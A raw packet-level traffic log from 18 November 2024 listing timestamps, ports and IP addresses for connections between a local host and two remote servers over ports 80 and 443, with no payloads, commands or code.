Nov 18, 2024 23:04:08.672169924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.672238111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.672244072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.672272921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.672287941 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.672308922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.672332048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.672342062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.672352076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.672389030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.672586918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.672638893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.672646999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.672672987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.672688961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.672708035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.672727108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.672775984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.672804117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.672867060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.673419952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.673453093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.673470020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.673487902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.673497915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.673543930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.734693050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.734721899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.734761000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.734761000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.777688980 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.777754068 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.777887106 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.778280020 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.778311014 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.778388023 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.778402090 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.780328989 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.780364037 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.780435085 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.780561924 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.780569077 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.792932034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.792989969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.793025970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.793031931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.793060064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.793097019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.793100119 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.793195963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.793205023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.793250084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.793270111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.793283939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.793320894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.793344021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.793354034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.793365955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.793399096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.793787003 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.794055939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.794064999 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.794111967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.794121027 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.794135094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.794147968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.794152975 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.794157982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.794169903 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.794183969 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.794190884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.794190884 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.795991898 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.796093941 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.796185970 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.796318054 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.796354055 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.854717970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.854773998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.854790926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.854844093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.912070990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.912112951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.912127018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.912158966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.912164927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.912199020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.912218094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.912235022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.912272930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.912272930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.912503004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.912535906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.912559986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.912570000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.912586927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.912606001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.912615061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.912657976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.913100004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.913134098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.913182974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.913183928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.913182974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.913218975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.913235903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.913253069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.913259983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.913296938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.975071907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.975109100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.975155115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.975155115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.034044027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.034077883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.034113884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.034116983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.034142017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.034149885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.034168959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.034185886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.034192085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.034229994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.034576893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.034610033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.034637928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.034646034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.034657001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.034679890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.034693956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.034715891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.034728050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.034769058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.034895897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.034929037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.034950018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.034965038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.034966946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.035011053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.035240889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.035274029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.035291910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.035335064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.068238974 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.068344116 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.068399906 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.068516970 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.068536997 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.068552017 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.068557024 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.070926905 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.070961952 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.071036100 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.071202040 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.071217060 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.071835041 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.072151899 CET	49799	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.072230101 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.072520971 CET	49799	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.072535038 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.095515966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.095551968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.095602989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.095696926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.152313948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.152368069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.152401924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.152404070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.152443886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.152455091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.152455091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.152478933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.152482986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.152520895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.152719021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.152779102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.152826071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.152859926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.152872086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.152894974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.152905941 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.152930975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.152939081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.152980089 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.153537989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.153570890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.153592110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.153614044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.153624058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.153656960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.153673887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.153691053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.153700113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.153738022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.204945087 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.205015898 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.205099106 CET	49799	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.205276966 CET	49799	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.205276966 CET	49799	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.205317020 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.205344915 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.207993031 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.208064079 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.208163977 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.208313942 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.208333015 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.259279966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.259469986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.259476900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.259512901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.272358894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.272418976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.272423029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.272454023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.272469997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.272490978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.272643089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.272692919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.272712946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.272748947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.272763968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.272783041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.272802114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.272816896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.272831917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.272883892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.273408890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.273462057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.273464918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.273495913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.273504972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.273528099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.273541927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.273562908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.273566008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.273606062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.274147987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.274184942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.274199009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.274230003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.274426937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.274461985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.274482965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.274513960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.392656088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.392690897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.392724991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.392765045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.392765045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.392765045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.393055916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.393110991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.393111944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.393141985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.393161058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.393184900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.393194914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.393240929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.393244982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.393280029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.393290997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.393311977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.393322945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.393349886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.393359900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.393393993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.394177914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.394211054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.394231081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.394243956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.394251108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.394290924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.394438028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.394470930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.394490957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.394505024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.394512892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.394555092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.394954920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.394989014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.395006895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.395025969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.395032883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.395060062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.395071030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.395101070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.422645092 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.423265934 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.423343897 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.423518896 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.423532009 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.512439013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.512505054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.512537003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.512540102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.512573004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.512588978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.512593985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.512643099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.513164043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.513199091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.513216019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.513242960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.513252020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.513288975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.513300896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.513324976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.513339996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.513361931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.513369083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.513396978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.513406992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.513442039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.513582945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.513616085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.513634920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.513652086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.513662100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.513696909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.513813972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.513861895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.513869047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.513905048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.513911963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.513940096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.513952017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.513989925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.514316082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.514373064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.514492989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.514549017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.551729918 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.552149057 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.552170992 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.552539110 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:09.552545071 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:09.554634094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.554682970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:09.554697037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:09.554718018 CET	80	49794	31.41.244.11	192.168.2.4
